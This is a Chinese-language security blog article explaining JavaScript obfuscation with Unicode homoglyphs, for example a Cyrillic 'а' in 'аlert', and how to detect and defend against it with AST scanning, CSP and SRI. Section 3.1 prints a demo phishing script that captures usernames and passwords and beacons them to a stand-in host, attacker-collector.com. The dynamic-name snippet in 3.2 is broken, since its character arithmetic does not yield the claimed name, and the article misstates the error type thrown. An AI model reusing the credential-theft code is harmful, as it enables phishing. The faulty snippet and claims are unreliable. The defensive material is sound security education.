Unicode同形异义字攻击:JavaScript视觉混淆原理与防御实践
2026/8/5 14:07:36 网站建设 项目流程

1. 项目概述:当Unicode字符成为攻击者的“隐身衣”

最近在分析一起针对特定组织的网络钓鱼攻击样本时,我遇到了一个相当“别致”的JavaScript混淆手法。它没有使用传统的变量名替换、代码压缩或者复杂的控制流平坦化,而是巧妙地利用了Unicode字符集里一些“长相相似”但编码不同的字符,来构造一种视觉上的欺骗。简单来说,攻击者写了一段看起来完全正常的JavaScript代码,比如一个alert(‘test’),但其中的某个字母,比如a,实际上是一个来自西里尔字母表或其他字符集的、外观几乎一模一样的Unicode字符。对于人眼和许多简单的代码编辑器预览来说,这行代码毫无破绽,但浏览器或Node.js的JavaScript引擎在解析时,却会因为遇到了非法标识符而报错,或者更糟——被攻击者精心设计,执行完全不同的恶意逻辑。

这种攻击的核心,我称之为“视觉混淆”或“同形异义字攻击”。它瞄准的不是代码的逻辑复杂性,而是人类审查者和自动化工具在“看”代码时的盲区。对于安全分析人员、代码审查者,甚至是依赖正则表达式或简单字符串匹配的自动化扫描脚本来说,这种混淆都具有极强的隐蔽性。攻击者借此将恶意载荷“隐藏”在看似无害甚至白名单内的代码片段中,极大地提高了网络钓鱼邮件附件、恶意广告脚本或供应链攻击的成功率。这次针对美国某政治行动委员会附属机构的攻击,正是这一技巧在野利用的典型案例。接下来,我将彻底拆解这种手法的原理、实现方式、检测难点以及我们该如何防御。

2. 核心技术原理:Unicode同形异义字与JavaScript解析

要理解这种攻击,我们必须深入到字符编码和JavaScript语言规范的层面。

2.1 Unicode中的“视觉陷阱”

Unicode的目标是为全世界所有字符提供一个统一的编码。这包括了拉丁字母(我们常用的英文a-z, A-Z)、希腊字母、西里尔字母(俄语等)、甚至各种数学符号和表情。问题在于,不同字符集中的某些字符,在视觉呈现上可能极其相似。

例如:

  • 拉丁小写字母a(U+0061) vs.西里尔小写字母а(U+0430)。在绝大多数字体下,它们看起来都是一个标准的“a”。
  • 拉丁大写字母A(U+0041) vs.希腊大写字母Α(U+0391) vs.西里尔大写字母А(U+0410)。
  • 拉丁小写字母c(U+0063) vs.西里尔小写字母с(U+0441)。
  • 连字符-(U+002D) 与 短破折号(U+2013) 或 连字符(U+2011) 也容易混淆。

攻击者正是利用了这种“同形异义”特性。他们将代码中的关键标识符(如函数名alert、变量名userInput)或操作符,替换成这些视觉相似的Unicode字符。一份代码,在视觉层逻辑层产生了割裂。

2.2 JavaScript引擎如何“看待”标识符

根据ECMAScript(JavaScript的标准)规范,标识符(变量名、函数名等)的命名规则允许包含Unicode字符。更具体地说,它允许使用UnicodeLetterIDUnicodeCombiningMark等类别中的字符。这意味着,从语法上讲,使用西里尔字母а(U+0430) 作为变量名的一部分是合法的。

关键点在于:

  1. alert(拉丁字母) 和аlert(首字母为西里尔а) 是两个完全不同的标识符。
  2. 当引擎解析аlert(‘test’)时,它会尝试寻找一个名为аlert的函数。由于这个函数通常不存在,在非严格模式下,它可能被当作全局对象的一个属性(默认为undefined),调用undefined(‘test’)会导致TypeError: undefined is not a function。在严格模式下或更复杂的上下文中,则会直接报引用错误。
  3. 攻击者可以预先定义这个“伪装的”函数。例如,他们可以声明function аlert() { /* 恶意代码 */ },那么后续调用аlert()时,执行的将是恶意函数,而审查者一眼扫过去,看到的却是人畜无害的alert

注意:这种混淆不仅限于函数名。对象属性名、URL协议(如javascript:)、HTML事件处理器(如onclick)中的字符串都可能被篡改。例如,一个链接href="javascript:аlert(1)",视觉上是正常的,但点击后可能因为标识符错误而不执行,或者执行恶意定义的аlert

2.3 为何传统检测方法容易失效

  1. 静态字符串匹配失效:无论是杀毒软件的签名库,还是WAF(Web应用防火墙)的规则集,如果只是简单匹配alertevaldocument.cookie这样的字符串,会被这种混淆轻松绕过。因为二进制层面,alert(61 6C 65 72 74) 和аlert(D0 B0 6C 65 72 74) 的字节序列完全不同。
  2. 正则表达式盲区:如果正则表达式没有考虑Unicode字符集,或者使用了如[a-zA-Z]这样的范围,同样会漏检。需要用到\w(在某些模式下匹配单词字符,包括部分Unicode)或更具体的Unicode属性类,但这类检测往往复杂且容易误报。
  3. 人工代码审查疲劳:在分析大量代码或经过压缩的代码时,人眼很难分辨出单个字符的细微差异,尤其是在字体渲染不清晰或代码高亮不区分字符集的情况下。

3. 攻击案例实操拆解与复现分析

让我们通过一个高度简化的模拟案例,来还原攻击者可能的手法。请注意,以下代码仅用于教育目的,演示混淆原理。

3.1 第一阶段:构造混淆的恶意载荷

假设攻击者想窃取用户在钓鱼页面输入的凭据。他们可能会准备如下代码:

// 恶意函数:窃取数据并发送到攻击者服务器 function sendDataToAttacker(data) { var img = new Image(); img.src = 'https://attacker-collector.com/steal?data=' + encodeURIComponent(data); } // 关键混淆点:使用西里尔字母 'а' (U+0430) 定义了一个伪装成“alert”的函数 function аlert(message) { // 这里不是弹出警告,而是窃取“message”内容 console.log('[恶意函数被调用] 收到消息:', message); sendDataToAttacker('Fake Alert Data: ' + message); // 为了不引起怀疑,也可以选择什么都不做,让表单“静默”提交失败。 } // 正常的表单提交事件处理函数(被混淆注入) document.getElementById('phishingForm').onsubmit = function(event) { event.preventDefault(); var username = document.getElementById('username').value; var password = document.getElementById('password').value; // 视觉上看起来是弹出提示,实际上调用了恶意的 `аlert` аlert('登录中,请稍候...'); // 此处调用的是恶意函数 // 延迟后,可能仍然提交到钓鱼后台,完成整个窃取流程 setTimeout(function() { event.target.submit(); }, 1000); };

在这段代码中:

  • function аlert中的а是西里尔字母。
  • 当用户点击提交,触发onsubmit时,会调用аlert,从而执行窃取数据的逻辑。
  • 用户可能在等待“登录中”提示消失,而数据早已被发送到attacker-collector.com

3.2 第二阶段:混淆与隐藏

攻击者不会直接提交如此明显的代码。他们会结合其他混淆技术:

  1. 混合混淆:将上述Unicode混淆代码,用传统的JavaScript混淆工具(如obfuscator.iojavascript-obfuscator)再进行一次处理,将变量名sendDataToAttacker等变成无意义的_0x1a2b3c,并加入死代码、控制流混淆。
  2. 动态生成:将关键混淆字符的Unicode码点(如\u0430)通过String.fromCharCode()或模板字符串动态拼接,进一步规避静态扫描。
    // 动态构造恶意函数名 var maliciousFuncName = 'a' + String.fromCharCode(0x0430 - 0x0061) + 'lert'; // 结果是 'аlert' window[maliciousFuncName] = function() { /* 恶意代码 */ };
  3. 隐藏于合法库中:将几行混淆后的恶意代码,插入到如jQuery、Chart.js等被广泛引用的合法开源库的压缩文件中。由于库文件本身体积大、代码晦涩,插入的少量异常字符很难被察觉。

3.3 第三阶段:投递与利用

在此次针对PAC附属机构的攻击中,攻击流程可能如下:

  1. 鱼叉式钓鱼邮件:攻击者伪装成合作伙伴或内部IT部门,发送邮件,主题可能与政治捐款、活动邀请或系统升级相关。
  2. 恶意附件或链接:邮件中包含一个.html附件或链接,指向一个精心伪造的登录页面(例如,模仿内部协作平台或捐款门户)。
  3. 页面加载恶意脚本:该页面引用了被篡改的、包含Unicode混淆的JavaScript文件。
  4. 凭据窃取:工作人员输入用户名和密码后,脚本通过混淆后的函数窃取凭据,并可能同时将用户重定向到真正的官网,使其难以察觉。
  5. 横向移动:攻击者利用窃取的凭据访问内部系统,进行进一步的网络渗透或数据窃取。

实操心得:在分析这类样本时,不要相信你的眼睛。永远将可疑代码复制到一个纯文本编辑器(如VS Code、Sublime Text)中,并切换显示Unicode字符的插件(如“Highlight Bad Chars”),或者直接使用xxdhexdump命令查看其十六进制表示,这是发现字符差异的最可靠方法。

4. 检测、防御与应对策略

面对这种“视觉欺骗”,我们需要从开发、安全运营和代码审查多个层面建立防线。

4.1 代码层面检测方法

  1. 规范化与规范化比较

    • Unicode规范化:使用Unicode规范化形式(如NFC或NFD)将代码中的字符转换为标准形式。虽然不能直接解决同形异义字问题(因为aа都是合法的、不同的字符,且规范化后通常不变),但可以解决由组合字符序列造成的混淆。
    • 重点检查:编写脚本,检查标识符中是否混用了来自多个Unicode区块(Block)的字符。例如,一个标识符中同时出现拉丁字母和西里尔字母,就非常可疑。
  2. 使用AST(抽象语法树)进行分析

    • 这是最强大的检测方式。使用如EsprimaAcornBabel Parser等工具,将JavaScript代码解析成AST。
    • 遍历AST中的所有标识符节点Identifier)、字符串字面量Literal)和模板字面量TemplateLiteral)。
    • 对每个节点中的字符串值,检查其字符的Unicode码点范围。标记出任何包含“非预期”字符集(如在标识符中发现西里尔字母、希腊字母,而项目本身是英文项目)的节点。
    // 示例:使用Acorn进行简单检测 const acorn = require('acorn'); const code = `function аlert() {}`; const ast = acorn.parse(code, { ecmaVersion: 'latest' }); function walk(node, callback) { callback(node); for (let key in node) { if (node[key] && typeof node[key] === 'object') { if (Array.isArray(node[key])) { node[key].forEach(child => child && walk(child, callback)); } else { walk(node[key], callback); } } } } walk(ast, (node) => { if (node.type === 'Identifier') { const name = node.name; // 检测是否包含非拉丁字母(简单示例) if (/[^\x00-\x7F]/.test(name)) { // 匹配非ASCII字符 console.warn(`可疑标识符: ${name} at line ${node.loc?.start.line}`); } } });

4.2 工程化与开发流程防御

  1. 代码仓库预提交钩子(Pre-commit Hook)

    • 在Git的pre-commit钩子中集成上述AST检测脚本。
    • 禁止提交包含混合字符集标识符的代码,从源头杜绝开发者无意引入或攻击者通过漏洞提交的混淆代码。
  2. 依赖项安全扫描

    • 使用像Snyknpm auditOWASP Dependency-Check等工具,但它们主要针对已知漏洞。
    • 需要补充自定义扫描:对node_modules中安装的依赖包,定期运行Unicode混淆检测脚本。重点关注直接依赖和间接依赖中.js文件的内容。
  3. CI/CD管道集成安全检测

    • 在持续集成流程中,添加一个安全检测阶段。不仅运行SAST(静态应用安全测试)工具(如SonarQubeCheckmarx),也运行自定义的Unicode混淆检测器。
    • 构建产物(如Webpack打包后的bundle.js)也应被扫描,因为混淆可能发生在构建过程中引入的插件里。

4.3 运行时与浏览器端缓解

  1. 内容安全策略(CSP)

    • 部署严格的CSP头部,限制脚本只能从受信任的源加载。这可以阻止内联脚本和未经授权的外部脚本执行,即使页面被注入了混淆代码,只要其来源不在白名单内,浏览器就会阻止。
    • script-src 'self' https://trusted-cdn.com;
    • 禁用unsafe-inlineunsafe-eval
  2. 子资源完整性(SRI)

    • 对于从CDN引用的第三方库,使用SRI。通过为脚本标签添加integrity属性,浏览器会验证下载文件的哈希值是否与指定值匹配,确保文件未被篡改。
    • <script src="https://example.com/library.js" integrity="sha384-..."></script>
  3. 输入净化与输出编码

    • 对于任何用户输入(包括URL参数、表单数据)最终要动态生成脚本或HTML的情况,必须进行严格的净化或编码。防止攻击者通过输入注入包含混淆字符的恶意脚本。

5. 安全分析人员的实战排查技巧

当怀疑遇到此类攻击时,可以按照以下步骤进行排查:

  1. 获取样本:获取可疑的.js文件、HTML文件或网络流量中的脚本片段。
  2. 十六进制查看:第一件事是用hexdump -C file.jsxxd file.js查看原始字节。直接搜索西里尔字母а的UTF-8编码D0 B0,或者拉丁字母a的编码61,对比上下文。
  3. 使用文本编辑器高亮:在VS Code中安装Bad CharactersUnicode Highlight插件,它会用特殊颜色高亮显示非ASCII字符,一目了然。
  4. AST解析与遍历:如上文所述,编写或使用现成的脚本进行AST分析,自动标识出可疑节点。
  5. 动态调试:如果代码允许执行(在隔离的沙箱环境中),可以尝试在浏览器开发者工具的“源代码”面板中查看格式化后的代码。现代开发者工具通常能较好地显示Unicode,但有时也会“美化”显示,需要结合调试器,在变量查看器中观察实际的字符串值。
  6. 搜索引擎与威胁情报:将代码中的可疑字符串(如独特的域名attacker-collector.com、函数名片段)或混淆特征(如特定的Unicode字符组合)在VirusTotal、URLhaus等威胁情报平台进行搜索,看是否有已知关联。

常见问题排查速查表

现象可能原因排查工具/方法
JavaScript代码在控制台报ReferenceError,但代码看起来完全正确。标识符中混入了同形异义Unicode字符。1. 复制报错的标识符到纯文本编辑器。 2. 使用charCodeAt()逐个检查字符码点。
代码静态扫描工具未报警,但行为异常。混淆字符绕过了基于字符串匹配的规则。1. 对代码进行AST分析。 2. 检查标识符的字符组成。
引用的第三方库文件大小有细微变化。库文件可能被篡改,插入了混淆代码。1. 比对官方发布的哈希值。 2. 使用SRI确保完整性。
在代码编辑器里显示正常,但复制到别处后格式错乱。可能包含了不可见的Unicode控制字符或组合字符。使用hexdump或在线Unicode分析工具查看。

6. 总结与个人实践建议

这种利用Unicode同形异义字进行的JavaScript混淆,是一种成本低、隐蔽性高的攻击手法。它不追求技术上的极度复杂,而是巧妙地利用了人类和简单自动化工具的认知缺陷。防御的重点在于“不信任”表面呈现,而要深入到代码的“骨骼”——字符编码和语法结构。

在我的安全审计实践中,已经将Unicode混淆检测作为代码审查的固定环节。对于任何来自外部的、动态生成的或版本哈希可疑的JavaScript资源,都会先过一遍简单的字符集检查脚本。同时,我也强烈建议开发团队在CI/CD中集成这类检查,并将“禁止在标识符中使用非拉丁字母”作为一条编码规范(除非项目有明确的多语言需求),这能极大地减少攻击面。

最后,保持对威胁模型的更新意识。攻击技术总是在进化,从简单的字符串替换到复杂的控制流混淆,再到如今这种视觉欺骗。作为防御者,我们需要建立多层、深度防御的体系,从严格的CSP、SRI,到代码级的静态分析和运行时监控,缺一不可。当肉眼不可靠时,就让工具和流程成为我们最敏锐的眼睛。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询